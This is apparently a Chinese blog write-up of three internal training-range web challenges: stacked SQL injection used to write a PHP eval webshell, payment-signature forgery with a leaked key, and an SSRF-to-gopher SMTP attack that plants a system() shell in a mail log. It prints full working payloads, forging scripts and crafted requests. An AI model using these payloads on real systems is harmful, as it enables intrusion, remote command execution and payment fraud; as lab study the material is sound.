内部靶场训练1110-1116

前言

内部靶场训练,记录一下

write a shell

这个题目第一遍做的时候没做出来,后面看了WP才发现是考察的预编译;一开始就给了一个注册和登录的功能,其他页面访问不了,所以一开始尝试注册admin',让咱们去注册,但是被转义了,用户名变成了admin\' ;同样的我尝试admin\ 也被转义了,试了两个手法发现都不行。所以这里其实基本上不存在sql注入了。

那就登录进去看看吧:

write a shell.png

登录之后发现那个编辑头像那里有个文件上传,所以我一开始想的会不会是文件上传,传了几个文件发现只有图片格式的文件能传上去。所以联想到有没有可能是phar反序列化,但是这种的话需要给代码啊,于是拿着工具扫,啥也没扫出来,在用户信息点进去那里发现是存在sql查询的:

write a shell2.png

试了几个poc,发现也是没啥回显,估计和注册页面用的是同一个waf,到这里基本上没啥思路了。后面看了WP发现是堆叠注入,要用预处理。其实是有提示的,当我尝试注册名为selectadmin时,发现被替换成了@,所以可以尝试以下预处理:

write a shell3.png

预处理的语法:

1
2
3
set @s=select 1,2,3,4,5;
prepare a from @s;
execute a;

不过这里需要绕过一下:

1
2
3
set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(49),char(44),char(50),char(44),char(51),char(44),char(52),char(44),char(53),char(59));
prepare a from @s;
execute a;

到这个题目的话需要把^换成@,所以是:

1
2
3
set ^s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(49),char(44),char(50),char(44),char(51),char(44),char(52),char(44),char(53),char(59));
prepare a from ^s;
execute a;

让AI写了个拼写脚本,输入字符串,输出concat(xxx)格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def string_to_ascii_concat(input_str):
"""
将字符串转换为ASCII码,并格式化成concat(char(...), ...)的形式
参数:
input_str: 输入字符串
返回:
格式化后的concat表达式
"""
# 将每个字符转换为ASCII码并格式化成char(ascii_code)的形式
char_codes = [f"char({ord(char)})" for char in input_str]
# 使用逗号连接所有char(...)表达式
result = f"concat({','.join(char_codes)})"
return result
def main():
"""主函数"""
print("字符串转ASCII码工具")
print("输入字符串将转换为concat(char(...), ...)格式")
print("输入 'exit' 或 'quit' 退出程序\n")
while True:
# 获取用户输入
user_input = input("请输入字符串: ").strip()
# 检查是否退出
if user_input.lower() in ['exit', 'quit', 'q']:
print("程序退出。")
break
# 检查输入是否为空
if not user_input:
print("输入不能为空,请重新输入。\n")
continue
# 转换并显示结果
converted = string_to_ascii_concat(user_input)
print(f"转换结果: {converted}\n")

if __name__ == "__main__":
# 测试示例
test_string = "select 1,2,3,4,5;"
print("示例:")
print(f"输入: {test_string}")
print(f"输出: {string_to_ascii_concat(test_string)}\n")
# 运行主程序
main()

接下里就是看权限,找可写路径;

1
2
3
4
5
6
7
select GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE from information_schema.USER_PRIVILEGES;  查询权限
释义如下:
GRANTEE: 被授予权限的用户(格式通常是 'user'@'host')
PRIVILEGE_TYPE: 权限类型(如 SELECT, INSERT, UPDATE, DELETE 等)
3: 这是硬编码的数字 3,不是列名
4: 这是硬编码的数字 4,不是列名
IS_GRANTABLE: 表示该用户是否可以将此权限授予其他用户(YES/NO)
1
2
http://XXXX/user/user.php?id=7;set ^s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(71),char(82),char(65),char(78),char(84),char(69),char(69),char(44),char(80),char(82),char(73),char(86),char(73),char(76),char(69),char(71),char(69),char(95),char(84),char(89),char(80),char(69),char(44),char(51),char(44),char(52),char(44),char(73),char(83),char(95),char(71),char(82),char(65),char(78),char(84),char(65),char(66),char(76),char(69),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(85),char(83),char(69),char(82),char(95),char(80),char(82),char(73),char(86),char(73),char(76),char(69),char(71),char(69),char(83),char(59))
;prepare a from ^s;execute a;

打过去发现是FILE权限,可读可写,接下来是找可写的目录,这里可以尝试找一下头像上传的目录,翻一下HTML源码可以发现有个favicon目录,尝试写一下:

select "<?php eval($_POST[cmd]);?>" into outfile "/var/www/html/favicon/my.php";

用脚本编码一下然后poc打过去:

1
http://10.45.1.21/user/user.php?id=7;set ^s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(34),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(59),char(63),char(62),char(34),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(34),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(109),char(121),char(46),char(112),char(104),char(112),char(34),char(59));prepare a from ^s;execute a;

然后哥斯拉尝试连接成功,在根目录下找到flag:

write a shell4.png

shop

shop这道题给了源码,下载下来,发现是个python的Djiango框架,用的是MTV架构,其实和传统的MVC差不多,只是MVC里面V是视图,而MTV里面的V是控制器,相当于C。主要漏洞代码在:/shop/view.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from django.shortcuts import render, HttpResponse, get_object_or_404, redirect
from .models import Good, Order
from django.contrib.auth.decorators import login_required
from hashlib import md5
from ezshop.settings import RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE
# Create your views here.

def shopIndexView(request):
good = Good.objects.filter(available=True)
return render(request, 'shop/index.html', {'good': good})

@login_required
def createOrderView(request, goodid):
good = get_object_or_404(Good, id=goodid, available=True)
newOrder = Order(user=request.user, good=good, status=Order.ONGOING)
newOrder.save()
return redirect('shop:myOrder')

@login_required
def myOrderView(request):
myorder = Order.objects.filter(user=request.user).order_by('-create_time')
return render(request, 'shop/myOrder.html', {'myorder': myorder})

@login_required
def cancelOrder(request, orderid):
o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
o.status = Order.CANCELED
o.save()
return redirect('shop:myOrder')

@login_required
def payOrder(request, orderid):
o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
form = {
'order_id': o.id,
'buyer_id': o.user.id,
'good_id': o.good.id,
'buyer_point': o.user.profile.point,
'good_price': o.good.price,
'order_create_time': o.create_time.timestamp()
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
#print(sign)
return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})

@login_required
def cleanCanceledOrder(request):
o = Order.objects.filter(user=request.user, status=Order.CANCELED).delete()
return redirect('shop:myOrder')

而主要是看这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def payOrder(request, orderid):
o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
form = {
'order_id': o.id,
'buyer_id': o.user.id,
'good_id': o.good.id,
'buyer_point': o.user.profile.point,
'good_price': o.good.price,
'order_create_time': o.create_time.timestamp()
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
#print(sign)
return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})

我们可以再抓一个包看一下:

shop1.png

然而这里的RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE 我们是可以从secret.key里面找到的, 所以这里的一切都可控了,我们就可以伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from hashlib import md5
form = {
'order_id': "72",
'buyer_id': "18",
'good_id': "38",
'buyer_point': "300",
'good_price': "50",
'order_create_time': "1764952580.560779"
}
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE="zhinianyuxin\n".encode('utf-8')
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
print(sign)

改了good_price之后还是买不了,因为我普通账户积分只有300,校验逻辑是从数据库里面取价格g.price,然后对比:

1
2
elif u.profile.point < g.price:
ret['result'] = f'用户 {u.username} 可用积分不足,无法完成支付'

所以我们还是得找一个积分多的用户来伪造,翻一下数据库可以发现管理员积分很多:

shop2.png

shop3.png

可以看到对应的user_id是16,我们再尝试一下抓包修改伪造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from hashlib import md5

form = {
'order_id': "72",
'buyer_id': "16",
'good_id': "38",
'buyer_point': "300",
'good_price': "888",
'order_create_time': "1764952580.560779"
}
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE="zhinianyuxin\n".encode('utf-8')
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
print(sign)#2ca432f0760c950a700626f8b1a63e15

抓包修改下buyer_id:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /payment/check?signature=2ca432f0760c950a700626f8b1a63e15 HTTP/1.1
Host: XXXX
Content-Length: 101
Cache-Control: max-age=0
Origin: http://10.45.1.23
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.45.1.23/shop/payOrder/72
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: csrftoken=9fuDHFqVC9zYhtEeuzRZeAtQ6LhZqH2X5WVFTCgtY1hgclUs71kG9vTWdSfxkYqF; sessionid=s0opniz95zst7fbbvucc49u4s0uhktqb
Connection: close

order_id=72&buyer_id=16&good_id=38&buyer_point=300&good_price=888&order_create_time=1764952580.560779

babypentest

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);

题目倒是朴实无华,就几行代码。第一个点是绕过strpos,这里配合curl_exec,可以用二次编码,数据到服务器会进行一次解码,到了curl_exec去发起请求的时候,会再进行一次解码。访问 flag.php发现返回的是200,直接尝试file协议,对php进行二次编码,?x=file:///var/www/html/flag.%2570hp,F12可以看到有提示:

1
<!--?php  //there is no flag /etc/hosts -->?>

提示了/etc/hosts,访问下再看:

1
2
3
4
5
6
7
127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3 3c057f0514d8

给了个内网IP,这里思路发散些,首先就是对内网IP进行端口扫描,其实就是进行同网段扫描,这里可以发现存在一个172.18.0.2里面有个文件包含

pZMYxN6.png

用dict协议来对端口进行扫描:

babypentest2.png

发现25端口开着,SMTP协议,这里是利用SSRF来写shell到 /var/log/mail.log。我们利用gopherus来生成payload:

babypentest3.png

几个细节:首先就是这里的php得二次编码一下,得绕过strpos的检测,另外这个payload也得编码一下,这种ssrf的最好都编码一下,防止引发歧义。

babypentest4.png

二次编码后的payload:gopher%3A%2F%2F172%2E18%2E0%2E2%3A25%2F%5FMAIL%2520FROM%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ARCPT%2520To%3Ahello%2540123%2Ecom%250ADATA%250AFrom%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ASubject%3Ajust%2520a%2520test%250AMessage%3Atesttesttest%250A

传参过去:http://10.45.1.27/?x=gopher%3A%2F%2F172%2E18%2E0%2E2%3A25%2F%5FMAIL%2520FROM%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ARCPT%2520To%3Ahello%2540123%2Ecom%250ADATA%250AFrom%3A%253C%253F%2570hp%2520system%2528%2524%5FGET%255BMy0n9s%255D%2529%253F%253E%250ASubject%3Ajust%2520a%2520test%250AMessage%3Atesttesttest%250A

这里是利用gopher协议来和172.18.0.2的smtp服务来进行通信,把我们构造的shell写到mail日志里面,然后包含。

首先数据到达我们的服务器会url解码一次,然后经过curl_exec又会解码一次,这里进行编码的意义就是为了防止被误解析导致400 。

babypentest5.png

可以发现是成功通信了的,我们也可以验证一下能不能getshell,防止产生歧义,还是得把特殊字符,比如 /啥的,用cyberchef编码一下,然后打过去:

babypentest6.png

可以发现有ls是执行了的;那么接下来再试试ls /

如果是直接传:http://10.45.1.27/?x=http%3A%2F%2F172%2E18%2E0%2E2%3Fa%3D%2Fvar%2Flog%2Fmail%2Elog%26My0n9s%3Dls%20%2F 会直接400

这里我理解的是经过第一次解码:http://172.18.0.2?a=/var/log/mail.log&My0n9s=ls /,然后curl_exec去执行的时候会直接400,所以还是要把特殊字符再编码一下就好了,比如 ls / 里面的空格及/ 。空格和/编码二次编码过去就是%2520%252F

所以最终的payload:http://10.45.1.27/?x=http%3A%2F%2F172%2E18%2E0%2E2%3Fa%3D%2Fvar%2Flog%2Fmail%2Elog%26My0n9s%3Dls%2520%252F

另外关于这个编码问题,deepseek给出了很好的解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Q2:为什么需要URL编码才能成功执行命令?
提问者:
尝试执行http://10.45.1.27/?x=http://172.18.0.2?a=/var/log/mail.log&My0n9s=ls时失败,
但编码后http%3A%2F%2F172%2E18%2E0%2E2%3Fa%3D%2Fvar%2Flog%2Fmail%2Elog%26My0n9s%3Dls成功,为什么?
回答者:
核心原因:PHP的$_GET参数解析规则
原始URL解析:
http://10.45.1.27/?x=http://172.18.0.2?a=/var/log/mail.log&My0n9s=ls
PHP解析为:
• $_GET['x'] = "http://172.18.0.2?a=/var/log/mail.log"
• $_GET['My0n9s'] = "ls"
问题:
第一个&被PHP解析为当前请求的参数分隔符,而不是传递给$x的内容。
编码后的效果:
http%3A%2F%2F172%2E18%2E0%2E2%3Fa%3D%2Fvar%2Flog%2Fmail%2Elog%26My0n9s%3Dls
PHP解码后:
• $_GET['x'] = "http://172.18.0.2?a=/var/log/mail.log&My0n9s=ls"
关键区别:
• 未编码:My0n9s=ls被留在第一层,未传递给172.18.0.2
• 已编码:完整URL传递给curl,所有参数到达目标服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Q3:为什么执行ls /需要双重编码?
提问者:
执行http://172.18.0.2?a=/var/log/mail.log&My0n9s=ls /时,
先编码得到http%3A...%26My0n9s%3Dls%20%2F,
还需要对%20%2F再编码为%2520%252F,为什么?

回答者:
这是多层URL编码的嵌套解析问题:
单次编码的问题流程:
原始:ls / → 编码:ls%20%2F
作为参数:x=http://...&My0n9s=ls%20%2F
PHP自动解码:$x = "http://...&My0n9s=ls /"
curl发送:GET /?...&My0n9s=ls / # 空格未编码!
结果:可能执行失败
双重编码的正确流程:

text
原始:ls /
→ 第一层:ls%20%2F
→ 第二层:%20→%2520, %2F→%252F
最终:ls%2520%252F
PHP解码第一层:$x = "http://...&My0n9s=ls%20%2F"
curl发送:GET /?...&My0n9s=ls%20%2F # 正确编码
目标服务器解码:My0n9s=ls / # 成功执行
根本原因:
PHP自动解码:$_GET接收时会自动URL解码一次
curl处理:需要确保特殊字符在HTTP请求中正确编码
多层传递:编码状态需要在不同解析层级间保持

这里我补充一下如果空格不二次编码,带入到http协议,我们可以抓个包看下:

babypentest7.png

如果你直接把%20变成空格,那就不是字符串空格了,而是打乱了http请求的格式。就会导致出错!